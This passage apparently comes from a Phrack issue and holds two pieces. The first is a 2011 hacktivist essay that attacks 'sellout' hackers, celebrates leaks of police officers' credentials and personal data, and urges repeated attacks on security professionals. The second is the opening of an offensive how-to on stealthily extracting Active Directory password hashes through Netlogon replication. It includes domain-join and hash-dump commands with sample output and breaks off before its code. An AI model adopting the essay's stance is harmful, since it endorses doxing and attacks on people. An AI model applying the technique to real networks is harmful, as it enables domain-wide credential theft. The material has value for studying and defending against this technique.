aiding US cyber "defense" systems.

With the passage of the 2012 Defense Authorization bill, the DoD has "express authority to conduct clandestine military activities in cyberspace in support of military operations". Reuters reports that "the Pentagon has put together a classified list of its offensive cyber capabilities so policymakers know their option". To what extent the US has already engaged in offensive electronic attacks is for the most part speculative. It is widely speculated that the US or Israeli military, or both cooperating, developed STUXNET to destroy Iran's nuclear facilities [2].

To fill the need for skilled security people, the military operates several schools and training classes designed to turn young enlisted computer enthusiasts into skilled hackers. The US Military Academy in West Point, NY has an ACM SIGSAC chapter which teaches special classes on remote intrusion techniques and periodically hosts several live hacking competitions to "train and engage enlisted military, officer, or government‑affiliated civilians". Last April, the West Point team was victorious over "veteran hackers from the NSA" at the 2011 Cyber Defense Exercise. Other military hacker teams such as ddtek (as led by Lt. Cmdr Chris Eagle who regularly speaks at DEFCON and Blackhat) also compete in civilian hacker tournaments such as DEFCON's CTF, usually dominating the competition by bringing dozens of Navy cybersecurity graduates [3][4]. No doubt many of these people will eventually be working at USCYBERCOM or other clandestine military hacker operations to launch attacks on behalf of the rich ruling class.

The US government must not have too much faith in their enlisted hackers, because they collaborate with a variety of private companies and individuals to defend their networks as well as profiling, infiltrating and attacking their enemies. After LulzSec owned and leaked emails for the CEO of military‑contracted security firm Unveillance and Infragard member Karim Hijazi, he was exposed to have been working with the DoD and the White House to not only profile "main hacking groups in Libya and their supporters" but also take the offensive and "map out Libya's Oil companies and their SCADA system's vulnerabilities" [5]. Even after Karim was owned and exposed he was willing to pay cash and offer his botnet to LulzSec to destroy his competitors, further revealing the white hat's corrupt and backstabbing nature as well as revealing how desperate and vulnerable the most powerful military in the world really is.

Then there's Aaron Barr, the former CEO of HBGary Federal, who was served with swift and fierce justice‑‑ being exposed for engaging in counter‑intelligence operations attempting to disrupt both WikiLeaks (where he suggests "cyber attacks against the infrastructure to get data on document submitters") and Anonymous (where he cooperated with the FBI attempting to profile "key leaders") [6]. The leaked emails also reveal a bid to develop "persona management software" for the US military which is another COINTELPRO‑type tool to spread propaganda by creating an army of fake twitter, facebook, blog, forum accounts to subvert democracy and manipulate public opinion. Although Barr/HBGary and Karim/Unveillance/Infragard have been exposed and humiliated, the implications of what has been released involving their work demonstrate a frightening and possibly illegal conspiracy between private security corporations collaborating with government and military to silence and disrupt their political opponents.

Despite the obvious failures of their affiliates, the military continues to try to draw talent from independent hackers. DARPA made a public offering to hackerspaces in the US to do "research designed to help give the U.S. government tools needed to protect against cyberattacks". The program Cyber‑Insider (CINDER) is headed by Peiter "Mudge" Zatko [7] who‑‑ like many of us‑‑ used to be a teenage hacker associated with the Cult of the Dead Cow and old‑school hacker space l0pht. Peiter eventually "went straight" when they formed security consulting firm @Stake which was later acquired by Symantec. Now he's completed the vicious circle from teenage hacker to "security professional" to full blown military employment, serving as an example to aspiring hackers as what NOT to do. Mudge has now been speaking at hacker conferences like Schmoocon as well as various DARPA Industry Day events in an attempt to recruit more hackers into the DARPA fold. Hackerspaces, which are becoming a growing trend not only in the US but also internationally, are often strapped for cash to pay rent or purchase equipment, and because of unique problem‑solving skills and a DIY hacker ethic are being looked at by employers in both private and government fields. Unfortunately, many hackerspaces are "non‑political" and are mostly composed of people more interested in a career than the hacker ethic, making many especially vulnerable to pressure to do research for the military or inform on other hackers to law enforcement.

Hackerspaces aren't unique for being wishy‑washy and apathetic in this regard: hackers in the US have a long history of big names going federal. Adrian Lamo, once known as the "homeless hacker" after turning himself in for breaking into several high profile news websites, is now universally hated as the dirty snitch who turned in alleged WikiLeaks leaker Bradley Manning. Despite this, Adrian still openly affiliates with 2600‑‑ running their facebook group, making occasional appearances on IRC, and most recently being invited to speak on a panel at the 2010 HOPE convention. Then there's Kevin Mitnick‑‑ whose social engineering skills somehow qualify him as some sort of spokesperson for hackers‑‑ who has resigned himself (like so many others) to the "industry" doing professional security consulting and making big bucks giving speeches and signing books at conferences (and like so many others he has become a target of black hats who have repeatedly owned his servers and released his private emails and passwords) Jeff "The Dark Tangent" Moss, who for more than a decade headed the "largest underground hacking convention" DEFCON and the grossly‑misnamed Black Hat Briefings ended up working for the Department of Homeland Security. Then Oxblood Ruffin from the "underground" group Cult of the Dead Cow (which was also owned hard by black hats) runs his mouth on Twitter claiming "ownership" of the term "hacktivism" while repeatedly denouncing other hackers(specifically "black hats" and "anonymous") who break into and attack systems, going so far as to sign a joint statement by cDc, 2600, l0pht, CCC and others condemning Legion Of The Underground's attacks against the Iraqi government for human and civil rights abuses [8].

Another more recent example of treachory in the hacker community is the case of 'security consultant' Thomas Ryan (aka frogman) who infiltrated and released internal mailing list communications for the NYC Occupy Wallstreet protesters. For months he worked his way in, gaining access and trust, while at the same time forwarding protest plans to the FBI and several news organizations, eventually dumping everything to right‑winger Andrew Breitbart's website as "proof" of "illegal anarchist activities". In the same files he released he accidentally included his own correspondence with the FBI and news organizations (some "security professional"). Thomas Ryan's white hat and right‑wing leanings were rather well known in hacker circles, as well as his social engineering exploits (he previously spoke at the "black hat briefings" about his experiences tricking dozens of government employees and security cleared professionals by using a fake profile of an attractive and skilled woman named "Robin Sage": unfortunately he did not dump any private or embarassing information on his white hat brethren). Certainly the primary point of failure for OWS was poor security culture, trusting an already well‑known reactionary white hat to their internal communications and protest details (a weakness of an open‑source movement as opposed to closed private collectives composed of vouched‑in members). However when this betrayal falls from our own hacker tree, we need to take responsibility and discourage future treachory (like how Aaron Barr was served by Anonymous).

Then there's 2600 which is composed of several separate communities including the local meetups, the magazine, Off The Hook, and the IRC community. To be fair, Eric Corley is somewhat friendly to the interests of hackers, supporting digital rights, criticizing the police state, and being generally left‑leaning. But upon closer inspection you'll find a very disturbing militaristic anti‑wikileaks, anti‑EFF and straight up anti‑hacker mentality held by many of the people involved: half the ops on 2600net have no problem openly bragging about working for the military or collaborating with law enforcement. Just like ten years ago in their condemnation of LoU, 2600 released a statement in December condemning Anonymous ddos attacks against the banks and credit card corporations that were ripping off WikiLeaks [9] (a tactic that is nothing more than a digital version of a sit‑in, a respected tradition of civil disobedience in US politics). Using the 2600 name to condemn Anonymous actions not only undermines our work but creates the false impression that the hacker community does not support actions against PayPal in support of Wikileaks. More than six months later, the FBI carried out raids at the homes of several dozen alleged Anonymous "members" who were purportedly involved with carrying out the LOIC attacks against PayPal. In light of how dozens of people (who may not even have been involved at all) may be facing decades in prison for some bogus trumped up federal conspiracy charges, what kind of credibility should be given to 2600 who clearly has no regard for practicing solidarity with hackers facing unjust persecution?

The 2600net IRC network itself is run by a DoD‑cleared, Infragard‑trained "r0d3nt" named Andrew Strutt who works for a military‑contracted company and has in the past openly admitted to working with law enforcement to bust people he claims were running botnets and distributing child porn. Andrew Strutt's interview for GovExec.com [10] read: "'I've had to work hard to build up trust,' Strutt adds that he doesn't disclose his identity as a hacker to the people he refers to as his handlers. And he doesn't advertise to hackers that he works for the .mil or .gov community either". Most recently, r0d3nt voluntarily complied with a grand jury subpoena where he gave up the shell server "pinky" to the feds and kept quiet about it for months [11]. The shell server had several hundred accounts from other members of the 2600 community who now have the displeasure of knowing that law enforcement forensics are going through all their files and .bash_history logs. Strutt kept this a secret from everybody for months (complying with a clearly illegal "gag order") and has since been very vague about details, refusing to answer questions as to the specifics of the investigation except that law enforcement was looking for "a certain user"'s activity on the box. Of course it is reckless and stupid to use a community shell server to carry out attacks putting other users on the box in danger, but this is something you should be prepared for well ahead of time if you put yourself in such a place. Many ISPs that host websites and listservs for radicals and hackers not only have a clearly defined privacy policy reducing the amount of personally identifiable information on the box, but also have a "will not comply" statement that says they will never voluntarily give up the box. This was demonstrated in November 2009 where IndyMedia.us received a similar gag order and subpoena asking for log files on the server (which never existed in the first place). The folks there immediately got the EFF involved and publicly announced the government's unjust fishing expedition, saying they had no plans on complying. In the end, nothing was given up and the gag order was found to be unconstitutional [12].

Why do many of the big name hackers that are seen as role models end up being feds and corporate sellouts, and why are these people still welcomed and tolerated in the scene? Eric Corley of 2600 estimated that a quarter of hackers in the US are FBI informants [13], which is unfortunately an astonishingly high figure compared to other fields. Experienced criminals who have done prison time will tell you that the code of the street is don't trust anybody and don't rat. If you ask many younger hackers, they'll casually joke about breaking into systems in their youth but if they ever grow up or get busted they'll be working for the government. Dealing with the devil never ends up well for anyone involved: all they want to do is bust other hackers, and in the end after using and abusing their informants they often kick them to the curb.

Albert Gonzales (aka "soupnazi", "cumbajohnny", and "segvec") became an informant after he was busted in NYC for credit card fraud and was paid $75,000 to infiltrate carding websites like ShadowCrew. Despite his cooperation with the Secret Service where he sent several dozen hackers and fraudsters to prison as part of Operation Firewall, the feds STILL indicted Gonzales on some fresh credit card fraud charges of his own and sent his rat ass away for several decades. Unfortunately one of the people roped into Gonzales' web of deception was the notorious black hat Stephen Watt "the unix terrorist" who helped write old school zines like el8 and left a trail of mail spools, ownage logs, and rm'd servers of the most respected "security professionals" in the industry. Watt was never even charged with participating in any of Gonzales' money schemes but simply wrote some common packet sniffing code called 'blabla' which was supposedly used to help intercept credit card transactions in TJX's networks, demonstrating how depraved and desperate the feds are to make quotas and inflate the threat of hacker fraud artists in the media [14].

While many support our fallen hacker comrades like the Unix Terrorist, we still hear a startling line of thought coming out of the infosec community. Ask around at your 2600 meeting or hackerspace and you'll hear a condemnation of imprisoned hackers as being nothing more than criminals along with a monologue comparable to politicians, police officers and the media: don't break into other people's systems, don't ddos, don't drop dox and if you find a vulnerability, "please please report it to the vendor so it could be patched." To think this mentality is being perpetuated by people who wave the hacker flag is disgusting and undermines the work that many legit hackers have fought and went to prison for.

Because so many who claim to represent hackers end up working for the very corrupt and oppressive institutions that other hackers are fighting against, it is time to draw lines in the sand. If you are military, law enforcement or informant, work for a DOD contracted company or a private security firm hired to bust other hackers or protect the infrastructure we aim to destroy, you are no comrade of ours. This is 2011, the year of leaks and revolutions, and every day we hear about riots around the world, and how major corporations and government systems are getting owned by hackers. The papers have been describing recent events as a "cyberwar" (or more accurately, a "hacker class war") and the way the attacks have become more frequent and more damaging, this is not much of an exaggeration.

It is impossible to talk about contemporary hacktivism without mentioning Anonymous, LulzSec and Antisec. Responsible for dramatically raising the stakes of this "war," they have adopted an increasingly explicit anti‑government and anti‑capitalist stance. The decentralized model in which Anonymous operates parallels every successful guerrilla warfare campaign waged throughout revolutionary history. In just a few months, they have taken aim at the CIA, the United States Senate, Infragard, Sony, NATO, AT&T, Viacom, Universal, IRCFederal, Booz Allen, Vanguard Defense Industries, as well as Texas, Missouri, Alabama, Arizona, Boston, and other police departments ‑‑ dropping massive username/password lists, confidential law enforcement documents, personal email correspondence and more. The latest campaign ‑‑ "Operation Antisecurity" ‑‑ is designed to unite other hacker groups, tipping their hats to old school antisec days while bringing more attention to anti‑government black hat politics as has never before seen [15]. Although the attack methods being utilized have been relatively primitive‑‑ ranging from common web application vulnerabilities like RFI/LFI and SQL injection, to brute force DDOS and botnet attacks‑‑ there are signs that their attack methodology is becoming more sophisticated, especially as talent from allied hacker crews becomes involved. Additionally choice of targets are going after our bigger enemies: while past incarnations of antisec have humiliated many well‑known sellouts in the computer security industry, today's blackhats are not scared to hit higher profile figures in law enforcement, military, and governments most notably by mercilessly dropping usernames, passwords, home addresses and phones, and social security numbers to tens of thousands of police and military officials.

As hackers continue to expose and attack corruption, law enforcement will desperately continue to try to make high‑profile arrests regardless of actual guilt or association. Especially as politicians continue to try to classify hacktivism as an act of cyber‑terrorism (which can be retaliated against as traditional acts of war [16]), the threat of prison is very real and people should be well prepared ahead of time for all possible repercussions for their involvement. We should not, however, let the fear of government repression scare us into not taking action; instead, we should strengthen our movement by practicing better security culture and working to support other hackers who get busted in the line of duty. Even though there are plenty of guides out there on how to become "anonymous", many mistakes have already been made: trusting the mentally unstable 19 year old Ryan Cleary to run the LulzSec IRC server, for example. Even before he was actively cooperating with the feds after being arrested in a joint US‑UK operation, Ryan was already known to double‑cross other hackers, having posted IP information of hundreds of anonops IRC users [17][18]. Although it's righteous to out snitches and movement traitors to the public, doxing other hackers involved in the struggle is only making law enforcement's job easier to identify and prosecute our comrades. Now more than ever should folks unite and practice solidarity with each other, setting aside our differences to go after our common enemies.

The events over the past few months have been compared to the glory days of the 90s, complete with IRC wars and major website defacements. As breaking into computer systems becomes popularized and a new batch of young bloods are emerging on the scene, many questions remain. Is government going to make more arrests and pass more draconian laws? Would they be doing the same thing anyway‑‑ even if hackers weren't striking back? Is Anonymous actually damaging the white‑hat military and intelligence security industries with the ownings, defacements, and leaks, or are they just bringing heat on the underground while providing justification for more government financing of our enemies? Is this just another script kiddie scene thriving on sqlmap and milw0rm exploits or is there old school talent behind the scenes owning shit to keep the antisec flame alive? Most importantly, how can those fighting the hacker class war better coordinate their work with street‑level resistance movements?

As attacks intensify, no doubt governments will try to put more money into defending their infrastructure, holding more internal security trainings, and passing more laws increasing penalties for computer hacking as well as censoring and invading our privacy. The government propaganda machine will no doubt blame hackers as some sort of cyber‑Al Queda to demonstrate the need for heightened security. Don't get it twisted: they have always wanted to pass these laws in the first place and would have done so with or without using the hacker threat as scapegoat, just as they wanted to go invade Afghanistan and Iraq and pass the PATRIOT Act before 9/11 ever happened. Don't be scared by ridiculous statements like FBI deputy assistance Steven Chabinsky who announced regarding the anonymous PayPal arrests, "We want to send a message that chaos on the Internet is unacceptable, [even if] hackers can be believed to have social causes, it's entirely unacceptable to break into websites and commit unlawful acts". Yes, the feds will continue to paint us as terrorists whether we act or not and will continue to make sweeping arrests regardless of guilt or innocence in an attempt to demonstrate that they aren't losing the cyberwar after all when all signs show that they are. It's widely speculated that the unexpected resignation of US‑CERT director Randy Vickers is related to the dramatic increase in high‑profile internet attacks against government institutions [20].

Another sign of success is how the threat of being targeted by Anonymous and other anti‑censorship activists could possibly scare the companies into not going forward with their plans, which is exactly what happened to Australian ISP Telstra [20]. A practice that seems to have been revived from old school black hat days is the targeting of security professionals and hackers who choose to sell out and work for corporations and governments to protect their systems. This is an effective strategy because not only are they ridiculously incompetent and corrupt low‑hanging fruit, but they likely hold private information on the cyberwar activities of the military. Additionally, hitting them hard and repeatedly will serve as a warning to others who would follow their lead and sell out their skills to the enemy: think twice before you find yourself in the crosshairs. What would happen when the government invests all this money to hire more hackers to protect their systems, but no one showed up?

Hackers may brag about their antics instantly getting international news coverage but the offensive cyber operations of the US military are considerably quieter. Not only does this keep their enemies from knowing their capabilities but also because much of the work being done is likely illegal. As the saying goes, those who make the laws are allowed to break them. When teenagers hack into high profile systems, they're considered criminals and even terrorists; the governments and militaries of the world do the same at greater magnitudes while hiding behind the guises of national security or "spreading democracy." It might be a while before we ever hear about some of the operations hackers working for the military are involved in. Then again, it might not‑‑ maybe they'll be the next ones owned, having their private data plastered all over the Internet.

‑‑

[1] "President lays out cyberwar guidelines, report says" http://news.cnet.com/8301‑13506_3‑20073314‑17/president‑lays‑out‑cyberwar‑

guidelines‑report‑says/

[2] "Stuxnet apparently as effective as a military strike" http://arstechnica.com/tech‑policy/news/2010/12/stuxnet‑apparently‑as‑

effective‑as‑a‑military‑strike.ars

[3] "Eagle Soars to Top of NPS" http://www.navy.mil/search/display.asp?story_id=2886

[4] "Poke in the Eye to SANS and CISSPs in Defcon 18 CTF Announcement" http://sharpesecurity.blogspot.com/2010/04/poke‑in‑eye‑to‑sans‑and‑cissps‑

in.html

[5] "Fuck FBI Friday Pretentious Press Statement" http://LulzSecurity.com/releases/fuck_fbi_friday_

PRETENTIOUS%20PRESS%20STATEMENT.txt

[6] "How One Man Tracked Down Anonymous And Paid a Heavy Price" http://www.wired.com/threatlevel/2011/02/anonymous/all/1

[7] "Hacker 'Mudge' Gets DARPA Job" http://news.cnet.com/8301‑27080_3‑10450552‑245.html

[8] "Joint Statement Condemning LOU Cyberwar" http://www.2600.com/news/view/article/361

[9] "Press Release ‑ 2600 Magazine Condemns Denial of Service Attacks" http://www.2600.com/news/view/article/12037

[10] "Hiring Hackers" http://www.govexec.com/features/1110‑01/1110‑01s1.htm

[11] "Statement regarding Seizure of pinky.ratman.org shell server." http://foster.stonedcoder.org/~r0d3nt/statement.txt

[12] "From EFF's Secret Files: Anatomy of a Bogus Subpoena" https://www.eff.org/wp/anatomy‑bogus‑subpoena‑indymedia

[13] "One in Four Hackers in the U.S. is an FBI Informant" http://publicintelligence.net/one‑in‑four‑hackers‑in‑the‑u‑s‑is‑an‑fbi‑

informant

[14] "TJX Hacker Was Awash in Cash; His Penniless Coder Faces Prison" http://www.wired.com/threatlevel/2009/06/watt/

[15] "50 Days of Mayhem: How LulzSec Changed Hacktivism Forever" http://www.pcmag.com/article2/0,2817,2387716,00.asp

[16] "Pentagon to Consider Cyberattacks Acts of War" http://www.nytimes.com/2011/06/01/us/politics/01cyber.html

[17] "Teenage 'Cyber Hacker' Son is Accused of Bringing Down 'British FBI' Site" http://www.dailymail.co.uk/news/article‑2007345/Ryan‑Cleary‑Hacker‑accused‑

bringing‑British‑FBI‑site.html

[18] "LOL ANONOPS DEAD" https://sites.google.com/site/lolanonopsdead/

[19]"Agency Chief Tasked With Protecting Government Networks From Cyber Attacks Resigns" http://www.huffingtonpost.com/2011/07/25/chief‑protecting‑government‑

networks‑resigns_n_909116.html

[20] "Anonymous and LulzSecs Existence Scares ISP into Halting Web Censorship" http://www.zeropaid.com/news/93950/anonymous‑and‑LulzSecs‑existence‑scares‑

isp‑into‑halting‑web‑censorship/

[21] "FBI Director Mueller Explains FBI Priorities 10 Years after 9/11" http://theiacpblog.org/2011/10/25/fbi‑director‑mueller‑explains‑fbi‑

priorities‑10‑years‑after‑911/

Abusing Netlogon to steal an Active Directory's secrets

==Phrack Inc.==

Volume 0x0e, Issue 0x44, Phile #0x11 of 0x13

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑=[ Abusing Netlogon to steal an Active Directory's secrets ]=‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by the p1ckp0ck3t ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ anonymous_7406da@phrack.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<<<‑>>

+ Prologue

+ Common tools & appropriate warnings!

+ Meet the Samba 4 project

+ Digging into the Netlogon replication mechanism

+ Extracting the secrets

+ A practical introduction to S4 (Stealth & Secure Secret Stealer) + S4 .VS. Windows 2008 Domain Controllers

+ Additional details

+ Last words

+ Bibliography

+ c0de: S4

<<<‑>>

‑‑‑[ 1 ‑ Prologue

If you've been hacking around Windows networks then you must be more than familiar with common LSA dumping tools such as pwdump [01] & co. You must also know that they are not only detected by (most?) AV, but furthermore that they may not work the expected way when an AV/HIPS is installed on your target. In the worst case a box may even crash! It's fucking annoying.

In a Windows network, crashing a workstation is probably harmless (natural Windows behavior you could say) because administrators won't notice and its user will only complain. He may also kick the box, blame "fucking M$" and ultimately reboot it. But in the end, we all know that he will rather focus on the recovery of his Office document than look for evidence (assuming he has the required skills to begin with). The situation is entirely different when it comes to Windows servers and especially DC (Domain Controllers). For these kinds of target, one needs to be *very* cautious because an administrator would find a crash *very* suspicious.

This paper presents a (hopefully) new technique to retrieve the AD (Active Directory [02])'s secrets using one of its (natural) replication mechanisms when a DC or a domain administrator's account has been compromised. Because it's solely based on the Windows API ‑without any hooks or (too) dirty tricks‑ it's a quiet efficient way to retrieve domain users' hashed passwords.

‑‑‑[ 2 ‑ Common tools & appropriate warnings!

Let me first begin by a bit of bitching regarding what's already available out there. There are a lot of tools dealing with "online" password dumping, most being open source, a few of them being however commercial software (I haven't tested those). Judging from my experience (and that of many friends) I can tell you that only a few of them are *really* of interest. I won't fill a bug report ‑:]‑ but remember that a good password dumping tool should provide:

1. Stability: Using such a tool should *never* be risky for the target's safety. Interactions with LSASS are really intrusive and dangerous and should be avoided if possible. You wouldn't use a kernel sploit without having first understood how and why it's working right? Same thing here. Crashing LSASS means crashing the box!

2. Stealthiness: You should never take the risk to be caught by some AV/HIPS. It's no news that there are Windows APIs that you can't use anymore and it's obvious that binaries provided by a famous security website have a good chance to be detected.

Take for example the case of fgdump & gsecdump. Both are great tools with a very good chance to succeed. But, can you seriously trust software that:

‑ Hook well known LSASS functions (using even more known techniques)? (pwdump6 of fgdump)

‑ Parse internal LSASS memory? (gsecdump)

‑ Write well known (=> detected) dll & exe files on disk? (fgdump) ‑ Start new services? Stop AV services? (fgdump)

‑ Are closed source? (gsecdump)

Especially with poorly designed AV/HIPS running on the same machine? Don't take me wrong, I'm not dissing pwdump* (or the similar) tools especially since they are necessary; but at least patch them a bit, you moron! In the case of a workstation target, there are no other public alternatives. But there's another story in the case of a DC target. What can be done in this matter?

Let me tell you the story that months later would lead me to this paper. Because it's a story, some details are missing, especially in the reverse engineering work performed. The idea is to keep the paper simple, as well as to give you the opportunity to find the last pieces of the puzzle all by yourself; follow the hints, hacker :]

‑‑‑[ 3 ‑ Meet the spart^wSamba 4 project

Unix people are well aware of the Samba project but only a few of them are truly aware of how incredible this project really is. This is not just about mounting CIFS volumes, but a complete reverse engineering/rewrite of several parts of Windows. Kudos to the Samba team.

A few years ago, the Samba team decided to start a new branch of their project: Samba 4 [03]. The goal was to provide an even deeper integration of a Samba server inside an Active Directory. Now with Samba 4, a Unix computer can become a (RO)DC and what's even more incredible is that it's as easy (well if you're lucky) as typing:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ screendump ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

# samba‑tool join FOO.BAR DC ‑Uadministrator@foo.bar ‑‑realm=FOO.BAR

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This command (dc)promotes our Linux box in the AD (in this case the domain is foo.bar). It's easy to check that it's indeed properly registered as a legitimate DC using for example an LDAP query:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ screendump ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ ldapsearch ‑x ‑LLL ‑h dc1.foo.bar ‑D "administrator@foo.bar" ‑W ‑b "OU=Domain Controllers,dc=foo,dc=bar" "(objectClass=Computer)" cn Enter LDAP Password: *******

dn: CN=DC1,OU=Domain Controllers,DC=foo,DC=bar

cn: DC1 <‑‑ first DC

dn: CN=MEDIA,OU=Domain Controllers,DC=foo,DC=bar

cn: MEDIA <‑‑ second DC = our proud little Linux

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As all traditional DC functions are properly running, Kerberos services are running as well to authenticate domain users whenever it is required:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ screendump ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

# samba‑tool samdump

[...]

Administrator:500:BAC14D04669EE1D1AAD3B435B51404EE:\ FBBF55D0EF0E34D39593F55C5F2CA5F2:[UX]:LCT‑4F1B2611 Guest:501:NO PASSWORDXXXXXXXXXXXXXXXXXXXXX:\

NO PASSWORDXXXXXXXXXXXXXXXXXXXXX:[NDUX]:LCT‑00000000 krbtgt:502:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:\ D25E142705B3C1B9122309D194E0B36F:[DU]:LCT‑4F1B1EFC SUPPORT_388945a0:1001:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:\ 4CB5D040611B3FF00F17AF7DC344F97C:[DUX]:LCT‑4F1B196F DC1$:1003:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:\ A59B7CDD1167816DFDD8C5F310ACCEC0:[S]:LCT‑4F1B1F2F tofu:1117:E91851A7E394D006ABD3B435B31404EE:\ 15221599C25FA333EA6044C0513ADD45:[UX]:LCT‑4F1B23FB HAXOR$:1120:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:\ 88369D133A118783D46D1C6344E99B08:[W]:LCT‑4F1B366B cheese:1121:BC5F4D08D49A0099AAD3B43CB51404EE:\ 3E21E05DD9E4E790CB3783D9292F80F7:[UX]:LCT‑4F1BE1F2 MEDIA$:1122:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:\ 72CCE806701E837DCBB33B29A9D48E97:[S]:LCT‑4F1C3AB1 [...]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When I discovered how mature the Samba 4 project had become and what it allowed me to perform, I started to imagine how I could take advantage of the situation. The first idea I came up with was to introduce a temporary Samba 4 DC in the AD infrastructure, dump the passwords and immediately dcpromote it again (=remove it from the AD). However this idea is really bad regarding the criteria that I gave earlier:

‑ Stability: No matter how functional Samba 4 may appear, it's many years too soon to use it for serious purpose. To give you an example, I destroyed many testing environments as I was playing with Samba 4 (merely using it in fact).

‑ Stealthiness: I doubt there is even one person able to tell us how many modifications the introduction of a new DC would bring in the AD. Do you honestly think that you could introduce a DC, make it disappear and that no administrator would ever be able to tell that it was there? I'm not taking the risk and neither should you.

For these two reasons, it was wise to resign (interestingly, as I would be told later, some French guy apparently didn't [04]).

At this point, I had no more ideas until I realized that network traffic was exchanged between DC1 (another DC from the domain) and MEDIA when I was typing the samdump command. More precisely, and thanks to Wireshark's dissectors (courtesy of the Samba team), I was able to observe the following events:

1. NTLM Authentication Protocol used to authenticate MEDIA 2. MEDIA binding on \\DC3.FOO.BAR\IPC$\lsarpc and calling ‑> lsa_OpenPolicy2() (opnum 44)

‑> lsa_QueryInfoPolicy2 (opnum 46)

3. MEDIA binding on \\DC3.FOO.BAR\IPC$\netlogon and calling ‑> NetrServerReqChallenge (opnum 4)

‑> NetrServerAuthenticate2 (opnum 15)

4. MEDIA binding again (*) on \\DC3.FOO.BAR\IPC$\netlogon and calling ‑> NetrDatabaseSync (opnum 8)

‑> NetrDatabaseSync (opnum 8)

‑> NetrDatabaseSync (opnum 8)

(* Using 2 different binds in step 3 & 4 seems weird at first but it will be explained later.)

I was immediately interested in the NetrDatabaseSync() function and googled a bit to see if I could find some documentation. Fortunately, Microsoft documents this function; it is a wrapper of NetrDatabaseSync2() [05].

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ MS official documentation ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑NTSTATUS NetrDatabaseSync2(

[in, string] LOGONSRV_HANDLE PrimaryName,

[in, string] wchar_t* ComputerName,

[in] PNETLOGON_AUTHENTICATOR Authenticator,

[in, out] PNETLOGON_AUTHENTICATOR ReturnAuthenticator, [in] DWORD DatabaseID,

[in] SYNC_STATE RestartState,

[in, out] unsigned long* SyncContext,

[out] PNETLOGON_DELTA_ENUM_ARRAY* DeltaArray,

[in] DWORD PreferredMaximumLength

);

[...]

The NetrDatabaseSync2 method returns a set of all changes applied to the specified database since its creation. It provides an interface for a BDC to fully synchronize its databases to those of the PDC.

[...]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So, it seemed safe to assume that the network traffic observed was the consequence of a synchronization mechanism. If you're familiar with Windows networks then there is something that should immediately draw your attention: the documentation is mentioning PDC (Primary Domain Controller) & BDC (Backup Domain Controller) which are pre‑Windows2000 (= NT4) concepts. Indeed, Windows 2000 introduced Active Directory which uses a different logic. Wikipedia [06] explains it perfectly:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Wikipedia: Primary Domain Controller ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑In later releases of Windows, domains have been supplemented by the use of Active Directory services. In Active Directory domains, the concept of primary and secondary domain controller relationships no longer applies. Primary domain controller emulators hold the accounts databases and administrative tools. [...] The same rules apply; only one PDC may exist on a domain, but multiple replication servers may still be used.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Note: "later releases" means Windows 2000 or above.

So I came up with the conclusion that Samba 4 was (and still is) using an old ‑now emulated‑ mechanism to synchronize the AD database between its DCs. More precisely in Active Directory, a unique DC holds the PDC FSMO role [12], the other DCs being (emulated) BDC as a result. Now pay attention to the "DatabaseID" parameter passed to NetrDatabaseSync2():

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ MS official documentation ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑DatabaseID: The identifier for a specific database for which the changes are requested. It MUST be one of the following values.

Value Meaning

‑‑‑‑‑ ‑‑‑‑‑‑

0x00000000 Indicates the SAM database. 0x00000001 Indicates the SAM built‑in database. 0x00000002 Indicates the LSA database.

